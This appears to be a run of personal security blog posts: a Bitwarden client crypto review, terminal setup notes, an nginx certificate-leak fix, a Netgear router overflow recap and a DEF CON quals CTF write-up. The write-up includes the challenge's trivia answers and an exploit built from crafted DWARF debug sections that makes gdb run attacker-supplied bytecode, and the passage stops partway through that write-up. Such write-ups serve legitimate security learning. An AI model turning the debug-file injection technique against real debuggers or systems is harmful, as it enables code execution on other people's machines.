        "Name": "2.49gWnoaK1nI5Pn/pSIOYrg==|5YpydD3KvqmmAej7fP/nkw==|+y1sS1Pi28xOPQT14k4UrYtc9TSJfgsf+nUjH3n/AAs=",
        "Notes": "",
        "Password": "2.49gWnoaK1nI5Pn/pSIOYrg==|YpifIojSBpof3EbQ0GyNBA==|0WBUgT11Hwi6Hb8H4bks+ICsMFBH88QMIGyemLBFYog=",
        "PasswordHistory": null,
        "Uri": null,
        "Username": "2.49gWnoaK1nI5Pn/pSIOYrg==|ZUZugs7e8BsQ1Fe/qNAbfDO4fZUnsoq5Z55dcFDr37I=|dGIniQkSI7Xistm0KoJW8s6OfmGBS0OyfuBQCc3O52c="
      },
      "DeletedDate": null,
      "Edit": true,
      "Favorite": false,
      "Fields": null,
      "FolderId": null,
      "Id": "c8d320e9-c4c3-446c-8ede-f322edf0a980",
      "Identity": null,
      "Key": null,
      "Login": {
        "Password": "2.49gWnoaK1nI5Pn/pSIOYrg==|YpifIojSBpof3EbQ0GyNBA==|0WBUgT11Hwi6Hb8H4bks+ICsMFBH88QMIGyemLBFYog=",
        "Uri": null,
        "Username": "2.49gWnoaK1nI5Pn/pSIOYrg==|ZUZugs7e8BsQ1Fe/qNAbfDO4fZUnsoq5Z55dcFDr37I=|dGIniQkSI7Xistm0KoJW8s6OfmGBS0OyfuBQCc3O52c="
      },
      "Name": "2.49gWnoaK1nI5Pn/pSIOYrg==|5YpydD3KvqmmAej7fP/nkw==|+y1sS1Pi28xOPQT14k4UrYtc9TSJfgsf+nUjH3n/AAs=",
      "Notes": "",
      "Object": "cipherDetails",
      "OrganizationId": null,
      "OrganizationUseTotp": true,
      "PasswordHistory": null,
      "Reprompt": 0,
      "RevisionDate": "2024-06-17T20:30:24.341656Z",
      "SecureNote": null,
      "Type": 1,
      "ViewPassword": true
    },
    { 
      // ... more ciphers
    }
  ]
}

Bitwarden has 4 types of entries: identities, cards, logins and notes. The above entry is a login entry, and the server sends duplicate information for the name, password and username.

But oops, I forgot to mention the EncString instantiation has to parse this format: 2.49gWnoaK1nI5Pn/pSIOYrg==|5YpydD3KvqmmAej7fP/nkw==|+y1sS1Pi28xOPQT14k4UrYtc9TSJfgsf+nUjH3n/AAs=.

Indeed it is defined as ALGO . IV_b64 | DATA_b64 | MAC_b64 (well, almost: libs/common/src/platform/models/domain/enc-string.ts#L111 libs/common/src/platform/models/domain/enc-string.ts#L72)

That's it, I am a bit tired of trying to find my way around the code.

Cryptanalysis

I am no cryptographer but as far as I know cryptography implementation mistakes lie in the details. So, let's recap with not too much details.

1. The client makes a request to the server (hopefully using https)
2. The server sends back a KdfIteration and Kdf field such that the client knows either to use PBKDF2 or Argon2id, and how many times it should iterate. The default configuration for my vault is 0 aka PBKDF2 and 600000 iterations, so we will keep that for the analysis.
3. The client prompts the user password and email, and derives them using the information from the previous step, computing masterKey = PBKDF2(SHA256, password, email, 600000)
4. Regardless of the previous Kdf , serverMasterKeyHash is computed as PBKDF2(SHA256, masterKey, password, 1)
5. serverMasterKeyHash is sent to the server to authenticate
6. If authentication is successful, the server sends back an encrypted Key which is decrypted to get the decryption key CipherKey. First a stretched key and mac key are computed: StretchedKey = HKDFExpandSHA256(masterKey, "enc") and MacKey = HKDFExpandSHA256(masterKey, "mac"). Then the received key is decrypted: CipherKey = AES256_CBC_Decrypt(StretchedKey, Key_iv, Key_data)
7. Ciphers (ie. names, notes, passwords, … - any string except dates) come with their encryption algorithm, IV, data and MAC data. The current default is AES256_CBC with HMAC_SHA256 but the codebase implements backwards compatibility with other schemes.
8. Ciphers are first checked with their MAC data as cipher_mac == HMAC_SHA256(cipher_iv || cipher_data, MacKey)
9. If successful, also decrypted as clear = AES256_CBC_Decrypt(CipherKey, cipher_iv, cipher_data)

So the master password is derived 600,000 times which follows Owasp Password Storage cheatsheet and Bitwarden uses standard encryption algorithms. We could argue that the usage of AES CBC with HMAC is a bit clumsy as one would rather use a more modern alternative like AES GCM.

Conclusion

I consider the code of Bitwarden client to be of poor manufacture. I found it very hard to read, with too many layers of abstractions. To me, a software designed to securely store your most private things should be easy to read and easy to contribute to. In my opinion, finding where things were located in the code base was quite hard.

Here, the technical choice was to have an all-in-one application for the web and your desktop, which explains the usage of JavaScript (actually TypeScript, kudos!). Unfortunately I feel like although JavaScript is a super high-level language, the code was designed in a too hard to read fashion.

I started writing my own desktop client for the reasons I mentioned at the beginning of this article, using the Qt framework with C++. While it's not complete, you can check its implementation here. Is it easier to read? I hope so! Is it better? Not at all!

I immediately thought I could code while watching the TV show, however my current situation involves only my laptop screen so it's tough to multitask. So what about showing my code on top of the video?

My current setup for coding is the following:

• Window manager: Awesome WM
• Terminal emulator: alacritty
• Text editor: Helix

So let's give it a try, and set alacritty's background opacity down:

# ~/.config/alacritty/alacritty.toml
[window]
opacity = 0

In order for this to take effect, a compositor is required. I don't usually have one running with Awesome WM, however any would do, for instance picom. Its default configuration should make the opacity configuration work.

Let's create a new Helix theme such that it has no background color, to use the terminal's background and be transparent too.

mkdir -p ~/.config/helix/themes
cat >> ~/.config/helix/themes/translucid.toml <<EOF
inherits = "dracula"
"ui.background" = {}
EOF

The theme can now be loaded in Helix, and the background will be transparent. However, one issue remains: the text is still opaque.

I wonder if this is the best way, but I could easily change Alacritty's whole opacity using picom configuration.

# ~/.config/picom/picom.conf
# [...]

# Make Alacritty windows opacity to 20%
opacity-rule = [ "20:class_g = 'Alacritty'" ];

Result

That's it, I now have a perfectly transparent window on top of my video, with translucid text! It's not perfect as obviously the theme colors are fixed while the video image changes (eg. from black to white), but it's quite cool to be able to watch a video while writing code. Quite uncommon setup, but I find it quite cool, although I really believe multitasking doesn't help focusing and being actually efficient. But hey, it's Sunday, who cares about efficiency anyways?

Context

I recently installed a server with a wildcard certificate in order to host some services. The wildcard certificate is useful in order to only have one renewal to do for all your subdomains, but it is also useful if you have privacy concerns about your services. Indeed, each certificate request is logged for the sake of transparency and trust of certificate chain and thus it results in leaking yoursecretsubdomain.myhome.com . This is well-known from pentesters as it often leads to widening the attack surface when trying to reach into a network. Check out some of Google domains requests: https://crt.sh/?q=%25.google.com Back to the topic, I was happy running my super leet secret service (aka my IP camera) when it suddenly occurred to me: what if someone tries to reach my server without knowing my domain name at all? Answer given by curl:

$ curl -v -k https://10.10.10.10
*   Trying 10.10.10.10:443...
* Connected to 10.10.10.10 (10.10.10.10) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / id-ecPublicKey
* ALPN: server accepted h2
* Server certificate:
*  subject: CN=*.myhome.com
*  start date: Jan  1 10:30:40 2000 GMT
*  expire date: Jan  1 10:30:40 3000 GMT
*  issuer: C=US; O=Let's Encrypt; CN=R3
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
*   Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using sha256WithRSAEncryption
*   Certificate level 1: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
*   Certificate level 2: Public key type RSA (4096/152 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://10.10.10.10/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: 10.10.10.10]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.6.0]
* [HTTP/2] [1] [accept: */*]
> GET / HTTP/2
> Host: 10.10.10.10
> User-Agent: curl/8.6.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
< HTTP/2 401
< server: nginx/1.22.1
< date: Wed, 06 Mar 2024 19:54:38 GMT
< content-type: text/html
< content-length: 179
< www-authenticate: Basic realm="My IP Camera"
<
<html>
<head><title>401 Authorization Required</title></head>
<body>
<center><h1>401 Authorization Required</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>

So here we are, Nginx happily leaks my certificate. How could this happen since I have a fallback method? Stupidly enough, I store my Nginx configuration files in /etc/nginx/sites-enabled and did have a fallback method in /etc/nginx/sites-enabled/default. This particular rule that we see comes from one of the subdomain being stored in /etc/nginx/sites-enabled/abracadabra.myhome.com which is loaded before the default handler.

root@server:~# ls /etc/nginx/sites-enabled/ -l
total 16
-rw-r--r-- 1 root root 2465 Mar  5 18:34 abracdabra.myhome.com
-rw-r--r-- 1 root root  337 Mar  5 18:45 default
-rw-r--r-- 1 root root 5788 Mar  5 18:49 secret.myhome.com

Although the default configuration file matches every domain name (with a server_name _; directive), in this specific case Nginx will use the first suitable server block, which leads into leaking my certificate from the first configuration file (as well as the service running behind it).

Solution

I came up with an easy but radical solution:

• Create a self-signed certificate: openssl req -nodes -new -x509 -days 3650 -subj "/OU= /CN= " -keyout /etc/nginx/blackhole_key.pem -out /etc/nginx/blackhole_cert.pem
• Configure properly the fallback in your nginx configuration:

# Whatever configuration you may have
#server {
#    listen 10.20.30.1:80;
#    server_name _;
#    return 301 https://$host$request_uri;
#}

# Interface exposed on the internet
server {
    listen 192.168.1.79:443 ssl http2;
    server_name _;
    ssl_certificate     /etc/nginx/blackhole_cert.pem;
    ssl_certificate_key /etc/nginx/blackhole_key.pem;
    return 444;
}

• Make sure it is loaded first, for instance naming the file 0_default or storing this configuration in /etc/nginx/nginx.conf.

After restarting Nginx, the magic happens:

$ curl -v -k https://10.10.10.10
*   Trying 10.10.10.10:443...
* Connected to 10.10.10.10 (10.10.10.10) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 / x25519 / RSASSA-PSS
* ALPN: server accepted h2
* Server certificate:
*  subject: OU=No SNI provided; please fix your client.; CN=invalid2.invalid
*  start date: Mar  6 09:48:01 2024 GMT
*  expire date: Mar  4 09:48:01 2034 GMT
*  issuer: OU=No SNI provided; please fix your client.; CN=invalid2.invalid
*  SSL certificate verify result: self-signed certificate (18), continuing anyway.
*   Certificate level 0: Public key type RSA (2048/112 Bits/secBits), signed using sha256WithRSAEncryption
* using HTTP/2
* [HTTP/2] [1] OPENED stream for https://10.10.10.10/
* [HTTP/2] [1] [:method: GET]
* [HTTP/2] [1] [:scheme: https]
* [HTTP/2] [1] [:authority: 10.10.10.10]
* [HTTP/2] [1] [:path: /]
* [HTTP/2] [1] [user-agent: curl/8.6.0]
* [HTTP/2] [1] [accept: */*]
> GET / HTTP/2
> Host: 10.10.10.10
> User-Agent: curl/8.6.0
> Accept: */*
>
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
* old SSL session ID is stale, removing
* HTTP/2 stream 1 was not closed cleanly: PROTOCOL_ERROR (err 1)
* Connection #0 to host 10.10.10.10 left intact
curl: (92) HTTP/2 stream 1 was not closed cleanly: PROTOCOL_ERROR (err 1)

Conclusion

In the end I completely failed my opsec as my wildcard certificate got leaked on Shodan (among other scanners) but hopefully this blogpost will help someone double check their proxy configuration. Always properly configure a fallback method with a self-signed certificate not leaking any personal data and make sure it is loaded first as the loading order of configuration files matters.

With a coworker of mine we took a glance at the Netgear R6700v3 and this blogpost is a quick recap on what we did. You can read our complete writeup here.

Basically there was a stack buffer overflow on a service which is being executed once during boot and once every 2 hours. The service downloads a file and parses it, and the vulnerability relies in the parser. If a malicious entity which could MitM the WAN side (in order to redirect a specific URL to their own), they could have used this vulnerability to take over your router.

A funny thing is that this is possible because the software inside uses curl to download the file to parse using the -k option... From the manual:

       -k, --insecure
              (TLS  SFTP  SCP)  By  default,  every  secure connection curl makes is verified to be secure before the transfer takes
              place. This option makes curl skip the verification step and proceed without checking.

The stack overflow was rather trivial to exploit as there was only partial ASLR, no PIE and no stack cookie. This is really astonishing that in 2021 such devices with so poor security mitigations are sold at a rather huge price (this router costs around 115€).

When writing this I just realised that Amazon even promotes it with their "compatible with Alexa".

Anyways it was a fun experience, I definitely recommend it!

This year's challenge was crazy. It was required to extract files from an USB capture of an archive between an USB stick and a computer, then reverse engineer and exploit a Windows application exposed on a remote host, reverse engineer a virtual machine and defeat some bad encryption schemes, understand an unknown CPU in blackbox and finally exploit a linux driver vulnerability in order to take control of a PCI device connected on the machine.

Doing all of this was exhausting and very satisfying at the same time, and here is one of my favorite moment (except after just solving the challenge) that I captured in a moment of excitation thus I apologise for the quality:

If you wonder if you should participate in next year challenge, don't hesitate, just try it. It will require a lot of dedication to reach the end, but even if you don't, there are many things to learn along the way.

It's rather simple, given that the remote named origin is the one from GitHub, 1234 is your PR number (from GitHub URL, or PR title) and that you want to fetch it under a branch named custom_feature:

git fetch origin pull/1234/head:custom_feature
git checkout custom_feature

I hope I'll remember now!

The challenge was marked as "shellcoding" and believe it or not it will deal with DWARF debugging data format.

A trivia quizz

We are given an ELF binary named trivia which first reads ../../flag and stores it at a random location in memory thanks to a weird request to mmap. After that, it reads the questions.txt file to ask questions from various categories to the player.

When the player reaches a score of 5000, it asks the player to save their name in a file on the filesystem. There are not many checks about the filename, and thus it is possible to trigger a segfault when trying to overwrite the value of a non writable file, e.g. questions.txt, although some checks are done with access. The name itself (which would be stored in the file) is read with the function fgets which reads at most 0x3ff bytes so that means we can write any file in the current directory of size <= 1023 as long as it contains no \n character (which would interrupt the reading of fgets).

When connecting to the remote target, we get the following:

$ nc exploit-for-dummies.challenges.ooo 5000
Ok, listen... here is the deal.
Now I am going to let you interact with a program.
You need to get the flag (that's the goal in a CTF, in case you did not notice that)
But I am here to help you. So, if you make the program crash and you give me the address of
the flag, I am going to get it out of the memory and print it for you.
Isn't it nice?

Ready? Here we go... just press ENTER and I'll spawn the service up for you.

starting...
cd ./tmp/dir_2663717
./trivia
--[ Score: 0 ]--

Secret Passwords for 200:
Super-secure launching code for Nuclear silos during the cold war.

We learn that the wrapper running remotely will handle a crash in the program and give us the memory content at a given address. So we have to gather all the questions, and answer them correctly. Here are the questions followed by their expected answer right below:

OOO is using a log-decay dynamic scoring formula in which the number of teams who solved a challenge is multiplied by which constant?
0.08
He once won a game of Connect Four in three moves, and inspired a Facebook master password
Chuck Norris
Which American group recorded a song named Ooo?
!!!
It was the first trivia question in the 2006 DEF CON quals. It all started like this: "Hack the ...."
planet
The famous president Skroob luggage combination
12345
What is the most common meaning of the OOO abbreviation according to wikipedia?
Out of Office
What was the first year in which OOO organized the defcon CTF?
2018
Level 1 questions make CISSPs turn red, Level 2 make SANS Fellows cry in frustration. We are talking of course of the CTF organized by...
ddtek
He described a penicillin shot in the ass as  "the worst thing that has ever happened to me". He is the one and only..
Kevin Mitnick
Default passwords for IBM 8225 systems
A52896nG93096a
It is 2008. It is the end of the cache as we know it. Or...
64K Should Be Good Enough For Anyone
When David Lightman hacked into the school system to change his grade in Biology 2, the school password was..
pencil
In this year, IDA Pro 5.0 introduced the first GUI.
2006
They took over the Defcon CTF organization in 2002, and defined the game as we all know and love today.
Ghetto Hackers
DNS guru, and the first person Dan called in 2008 to discuss its newly discovered DNS flaw.
Paul Vixie
What is the name of the legitbs 9-bit middle endian architecture?
Clemency
Its three-letter acronym is used by astronomers to indicate double neutron stars
Domain Name System
The name of the university from which he obtained his bachelor's degree.
Santa Clara University
Smashing the Stack for Fun and Profit. We all know it by heart, right? But do you remember its last sentence?
Use the source d00d
In 1992, the Zero Wing videogame shocked the world with the phrase:
All your base are belong to us
Super-secure launching code for Nuclear silos during the cold war.
00000000
In the defcon quals 2020, what was the highest ranked team that had three letters O in its name?
YOKARO-MON
Who (person) was the famous Defcon CTF organizer who said "The Scoring System determines the quality of the game"
Caezar
What was the first column in the first Jeopardy qualification board introduced by Kenshoto in 2006?
Binary L33tness
We are obviously talking about Dan ...
kaminsky

After making a quick and dirty script to answer the questions, we can manage to get asked which file to save, specify we want to overwrite questions.txt and confirm that after crashing the wrapper launches a gdb session with gdb -c core trivia and executes x/s with our provided address. We also learn the address format should start with 0x and be at most 16 characters.

Okay, so what can we do now? After the command is executed, the wrapper finishes and closes the remote connection, so it seems there is no way we can dump multiple addresses. We know we can write a file to the filesystem before triggering a segfault by playing 2 games in a row. We tried to overwrite a file core to make gdb believe we are in another state and somehow manage to do things later on like reading the file from the filesystem directly, as the flag is either stored in the program memory which is dumped in core after the segmentation fault, or in the ../../flag file, but it seemed it would get overwritten by the generated core file. We also tried to overwrite the binary itself so upon invocation of gdb it would have loaded a custom ELF file, but overwriting the file was not possible.

.gnu_debuglink to the rescue

After calling strace on gdb and running it on our binary we can see that it tries to load the file named trivia.debug in the current directory.

$ strace gdb trivia 2>&1 | grep $PWD
...
openat(AT_FDCWD, "/share/trivia", O_RDONLY) = 13
readlink("/share/", 0x7ffc1670f6b0, 1023) = -1 EINVAL (Invalid argum
faccessat2(AT_FDCWD, "/share/", F_OK, AT_EACCESS) = 0
openat(AT_FDCWD, "/share/trivia.debug", O_RDONLY|O_CLOEXEC) = 14)
...

As we can learn from gdb's documentation the .debug files are usually used to store extra debug symbols. The original binary writes the filename in a section named .gnu_debuglink. This section also contains a CRC32 checksum in order to verify that the file being loaded matches what the original binary expects to see.

If I had been more careful, I could have spotted it while checking the sections of the binary:

$ readelf -W -S trivia
...
  [28] .gnu_debuglink    PROGBITS        0000000000000000 00310c 000014 00      0   0  4
...

Okay so that's great, it means we can write an ELF file of at most 1023 bytes named trivia.debug and this file will get loaded by gdb. Well, actually we also have to make sure the CRC matches the one that is hardcoded in the .gnu_debuglink section, but we'll think about that later.

Now my intuition was that I would have the possibility to write a debug symbol that would point directly to some place in memory and dump the flag like this. But well, the flag is allocated and stored at a random position in memory so it seemed not possible, especially since we can only trigger the call to gdb once.

However this debug file thingy reminded me of a step in the SSTIC challenge 2019 that would implement a whole cryptographic algorithm using only DWARF debug information.

Creating custom DWARF information

After I reminded this, I quickly spotted the function dwarf_expr_context::execute_stack_op in gdb source code to confirm that there is indeed a whole virtual machine for DWARF, and tried to find a way to reach it from the x/s command.

That was not easy and at some point I found the amazing DWARF v4 specification which says:

A DWARF procedure is represented by any kind of debugging information entry that has a DW_AT_location attribute.

So I was more confident there would be a way to actually execute code by calling x/s and I started playing around by crafting ELF files.

Crafting small ELF files

First things first, I wanted to make sure my files would fit in 1023 bytes as that would be our goal ultimately. And since I also wanted to manually craft the sections that would contain the DWARF information, I decided to make a linker script that would remove any unused section.

OUTPUT_FORMAT(elf64-x86-64)
SECTIONS
{
  .debug_info : {
    debug_info.o(.debug_info)
  }
  .debug_abbrev : {
    debug_abbrev.o(.debug_abbrev)
  }
  .debug_str : {
    debug_str.o(.debug_str)
  }
  /DISCARD/ : {
    *(.text)
    *(.bss)

    *(.debug_str)
    *(.debug_abbrev)
    *(.debug_info)

    *(.debug_line)
    *(.debug_aranges)
    *(.eh_frame)
    *(.note.gnu.property)
    *(.comment)
  }
}

I even removed the .text section as I didn't plan to execute any code, so in the end only the .symtab, .strtab and .shstrtab sections remained and couldn't be removed with the linker script but that was not an issue as my file was already below 1023 bytes.

The .o files would be simple asm files .s which contain either raw content with .incbin or raw data with .byte or .asciz.

.section .debug_info
.incbin "debug_info.raw"

.section .debug_str
.asciz "mysym"
.byte 0

Understanding DWARF

Thanks to the command objdump -g testfile it was possible to see that the relevant DWARF information are loaded mainly from 3 different sections named .debug_info, .debug_abbrev and .debug_str.

$ objdump -g tiny.o

tiny.o:     file format elf64-x86-64

Contents of the .debug_info section (loaded from tiny.o):

  Compilation Unit @ offset 0x0:
   Length:        0x75 (32-bit)
   Version:       4
   Abbrev Offset: 0x0
   Pointer Size:  8
 <0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
    <c>   DW_AT_producer    : (indirect string, offset: 0x41): GNU C17 10.2.0 -mtune=generic -march=x86-64 -g -fno-pic -fno-stack-protector
    <10>   DW_AT_language    : 12	(ANSI C99)
    <11>   DW_AT_name        : (indirect string, offset: 0x3a): tiny.c
    <15>   DW_AT_comp_dir    : (indirect string, offset: 0x12): /share/
    <19>   DW_AT_low_pc      : 0x0
    <21>   DW_AT_high_pc     : 0xb
    <29>   DW_AT_stmt_list   : 0x0
 <1><2d>: Abbrev Number: 2 (DW_TAG_enumeration_type)
    <2e>   DW_AT_name        : (indirect string, offset: 0x0): chat
    <32>   DW_AT_encoding    : 7	(unsigned)
    <33>   DW_AT_byte_size   : 4
    <34>   DW_AT_type        : <0x4c>
    <38>   DW_AT_decl_file   : 1
    <39>   DW_AT_decl_line   : 1
    <3a>   DW_AT_decl_column : 6
    <3b>   DW_AT_sibling     : <0x4c>
 <2><3f>: Abbrev Number: 3 (DW_TAG_enumerator)
    <40>   DW_AT_name        : (indirect string, offset: 0x5): first
    <44>   DW_AT_const_value : 51
 <2><45>: Abbrev Number: 3 (DW_TAG_enumerator)
    <46>   DW_AT_name        : (indirect string, offset: 0xb): second
    <4a>   DW_AT_const_value : 52
 <2><4b>: Abbrev Number: 0
 <1><4c>: Abbrev Number: 4 (DW_TAG_base_type)
    <4d>   DW_AT_byte_size   : 4
    <4e>   DW_AT_encoding    : 7	(unsigned)
    <4f>   DW_AT_name        : (indirect string, offset: 0x2d): unsigned int

 [...] ; snip

Contents of the .debug_abbrev section (loaded from tiny.o):

  Number TAG (0x0)
   1      DW_TAG_compile_unit    [has children]
    DW_AT_producer     DW_FORM_strp
    DW_AT_language     DW_FORM_data1
    DW_AT_name         DW_FORM_strp
    DW_AT_comp_dir     DW_FORM_strp
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_stmt_list    DW_FORM_sec_offset
    DW_AT value: 0     DW_FORM value: 0
   2      DW_TAG_enumeration_type    [has children]
    DW_AT_name         DW_FORM_strp
    DW_AT_encoding     DW_FORM_data1
    DW_AT_byte_size    DW_FORM_data1
    DW_AT_type         DW_FORM_ref4
    DW_AT_decl_file    DW_FORM_data1
    DW_AT_decl_line    DW_FORM_data1
    DW_AT_decl_column  DW_FORM_data1
    DW_AT_sibling      DW_FORM_ref4
    DW_AT value: 0     DW_FORM value: 0
   3      DW_TAG_enumerator    [no children]
    DW_AT_name         DW_FORM_strp
    DW_AT_const_value  DW_FORM_data1
    DW_AT value: 0     DW_FORM value: 0
   4      DW_TAG_base_type    [no children]
    DW_AT_byte_size    DW_FORM_data1
    DW_AT_encoding     DW_FORM_data1
    DW_AT_name         DW_FORM_strp
    DW_AT value: 0     DW_FORM value: 0

 [...] ; snip

Contents of the .debug_str section (loaded from tiny.o):

  0x00000000 63686174 00666972 73740073 65636f6e chat.first.secon
  0x00000010 64002f73 68617265 2f64756d 6d696573 d./share/dummies
  0x00000020 5f776f72 6b005f73 74617274 00756e73 _work._start.uns
  0x00000030 69676e65 6420696e 74007469 6e792e63 igned int.tiny.c
  0x00000040 00474e55 20433137 2031302e 322e3020 .GNU C17 10.2.0
  0x00000050 2d6d7475 6e653d67 656e6572 6963202d -mtune=generic -
  0x00000060 6d617263 683d7838 362d3634 202d6720 march=x86-64 -g
  0x00000070 2d666e6f 2d706963 202d666e 6f2d7374 -fno-pic -fno-st
  0x00000080 61636b2d 70726f74 6563746f 7200     ack-protector.

We understand that the .debug_abbrev section is used to describe some structures or abbrevations, and that the .debug_info contains the actual debugging information which refers to structures from the aforementioned section. The .debug_str is used to contain the debug string information such as variable names, file names, etc.

It means that we can declare any structure in .debug_abbrev with any possible content, and we can refer to the created structure in .debug_info in a way to say "hey there's a debug symbol available of the form that is described in the abbrev section and here is its content".

From there I needed to solve two things:

1. Generate a symbol that upon printing would execute a DWARF bytecode
2. Make sure that symbol is reachable from any context

For the first thing, as we briefly mentioned before, creating a DW_TAG_variable with a DW_AT_name pointing to the name I want to give to my symbol, and with a DW_AT_location field allows to execute DWARF bytecode. I can write any DW_OP_xxx opcode in my structure information, and during debugging it would change the value of what x/s mysym would print, or even better yield that my opcode is invalid. But I only managed to make it work when creating a local variable and calling x/s from a context for which the variable was actually reachable.

For the second thing, I realised that using a field with a DW_TAG_enumerator with a DW_AT_const_value attribute would allow me to print it from any context (while the variable is reachable only if the debugger is stopped in its scope). I couldn't find how to enlarge the scope of the variable so I decided to go with the enumerator, however it seemed not compatible with DW_AT_location. When calling x/s mysym it would just say that the symbol does not exist, exactly as with the DW_TAG_variable as seen just before.

After a while I managed to do the following trick which consists in writing in the .debug_info first the DW_TAG_variable with a DW_AT_location attribute pointing to the name mysym and then a second entry DW_TAG_variable with a DW_AT_const_value also pointing to the name mysym. My understanding is that thanks to the second entry, gdb is able to find the symbol when doing x/s mysym (probably thanks to the attribute DW_AT_const_value) but that it will fetch the first occurrence of the symbol (the one with DW_AT_location) when actually getting the value.

It seems easy when written in a few sentences but it took me quite a while to figure this trick out. I'm pretty sure there are smarter ways to do it, but well, the challenge is named "exploit for dummies" after all, so I thought doing so would be completely appropriate.

In the end I came up with the following files:

.section .debug_abbrev
## Type 1
# Type ID
.byte 0x01
# Content
.byte 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x07, 0x10, 0x17
# End marker
.byte 0x00, 0x00

## Type 3
# Type ID
.byte 0x03
# Field 0 (DW_TAG_variable)
.byte 0x34, 0x00
# Field 1 (DW_AT_name, DW_FORM_strp) string pointer to symbol name
.byte 0x03, 0x0e
# Field 2 (DW_AT_const_value, DW_AT_FORM_data1) constant on 1 byte
.byte 0x1c, 0x0b
# End marker
.byte 0x00, 0x00

## Type 4
# Type ID
.byte 0x04
# Field 0 (DW_TAG_variable)
.byte 0x34, 0x00
# Field 1 (DW_AT_name, DW_FORM_strp) string pointer to symbol name
.byte 0x03, 0x0e
# Field 2 (DW_AT_location, DW_FORM_exprloc) dwarf subprogram to compute location
.byte 0x02, 0x18
# End marker
.byte 0x00, 0x00

# End marker
.byte 0x00

.section .debug_info
# section length
.byte 0x37+SHELLCODE_SIZE, 0x00, 0x00, 0x00
# dwarf version
.byte 0x04, 0x00
# debug_abbrev offset
.byte 0x00, 0x00, 0x00, 0x00
# pointer size
.byte 0x08

### Entries
## Entry 1 (type 1)
# Tag (entry number in .debug_abbrev section)
.byte 0x01
# Data
.byte 0x2d, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00

## Entry 2 (type 4)
# Tag
.byte 0x04
# String pointer (offset 5 of .debug_str)
.byte 0x05, 0x00, 0x00, 0x00
# Shellcode size
.byte SHELLCODE_SIZE
# Shellcode data
.byte SHELLCODE

## Entry 3 (type 3)
# Tag
.byte 0x03
# String pointer (offset 5 of .debug_str)
.byte 0x05, 0x00, 0x00, 0x00
# Constant value
.byte 0x33

## End marker
.byte 0x00, 0x00

The first entry used as a DW_TAG_compile_unit does not seem useful, but I had troubles with gdb segfaulting when not providing it, so I preferred keeping it.

We will come up to the shellcode part in the next section, however this provides the following debug information:

$ objdump -g trivia.debug

trivia.debug:     file format elf64-x86-64

Contents of the .debug_info section (loaded from trivia.debug):

  Compilation Unit @ offset 0x0:
   Length:        0x75 (32-bit)
   Version:       4
   Abbrev Offset: 0x0
   Pointer Size:  8
 <0><b>: Abbrev Number: 1 (DW_TAG_compile_unit)
    <c>   DW_AT_producer    : (indirect string, offset: 0x2d): GNU C17 10.2.0 -mtune=generic -march=x86-64 -g -fno-stack-protector
    <10>   DW_AT_language    : 12	(ANSI C99)
    <11>   DW_AT_name        : (indirect string, offset: 0x0): chat
    <15>   DW_AT_comp_dir    : (indirect string, offset: 0x12): /share/dummies_work
    <19>   DW_AT_low_pc      : 0x1000
    <21>   DW_AT_high_pc     : 0xb
    <29>   DW_AT_stmt_list   : 0x0
 <1><2d>: Abbrev Number: 4 (DW_TAG_variable)
    <2e>   DW_AT_name        : (indirect string, offset: 0x5): first
    <32>   DW_AT_location    : 2 byte block: 77	0 (DW_OP_breg7 (rsp): 0)
 <1><71>: Abbrev Number: 3 (DW_TAG_variable)
    <72>   DW_AT_name        : (indirect string, offset: 0x5): first
    <76>   DW_AT_const_value : 51
 <1><77>: Abbrev Number: 0

Contents of the .debug_abbrev section (loaded from trivia.debug):

  Number TAG (0x0)
   1      DW_TAG_compile_unit    [has children]
    DW_AT_producer     DW_FORM_strp
    DW_AT_language     DW_FORM_data1
    DW_AT_name         DW_FORM_strp
    DW_AT_comp_dir     DW_FORM_strp
    DW_AT_low_pc       DW_FORM_addr
    DW_AT_high_pc      DW_FORM_data8
    DW_AT_stmt_list    DW_FORM_sec_offset
    DW_AT value: 0     DW_FORM value: 0
   3      DW_TAG_variable    [no children]
    DW_AT_name         DW_FORM_strp
